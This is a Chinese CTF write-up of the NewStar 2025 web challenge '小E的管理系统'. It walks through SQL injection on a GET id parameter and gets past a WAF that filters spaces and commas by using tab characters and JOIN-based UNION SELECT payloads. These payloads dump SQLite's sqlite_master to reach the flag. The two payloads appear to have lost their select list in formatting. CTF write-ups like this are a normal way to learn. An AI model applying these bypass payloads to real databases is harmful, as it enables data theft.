记录Newstar2025Week2Web-小E的管理系统

打开题目提示输出id=1
image
到这里应该很熟悉了,id=1?这是sql注入的常见标志,抓包看看
image
竟然还是get传参,已经正常返回json数据,可加上’再进行测试,发现有waf
image
接着测试,输入个select,发现报错,基本肯定是sql注入
image
因为刚刚遇到waf,所以直接测过滤,基本看到空格,逗号等都进行过滤
image
虽然返回五个数据,保险起见再次测试列数,可以看到5正常,6报错,验证是五列
image
image
因为过滤了逗号,所以用join(这里是cross join)绕过,正常返回内容
1%09union%09select%09%09from%09(select%091)a%09join%09(select%092)b%09join%09(select%093)c%09join%09(select%094)d%09join%09(select%095)e
image
接下来测试数据库类型,因为五个都有回显,所以五个都是反射列,所以随便写一个位置
image
返回版本信息,确认是sqlite,查表sqlite_master
1%09union%09select%09
%09from%09(select%09sql%09from%09sqlite_master)a%09join%09(select%092)b%09join%09(select%093)c%09join%09(select%094)d%09join%09(select%095)e
image
image

发现可疑表和列,直接查询,得到flag,结束

posted @ 2025-10-19 20:39  CLAY666  阅读(14)  评论(0)    收藏  举报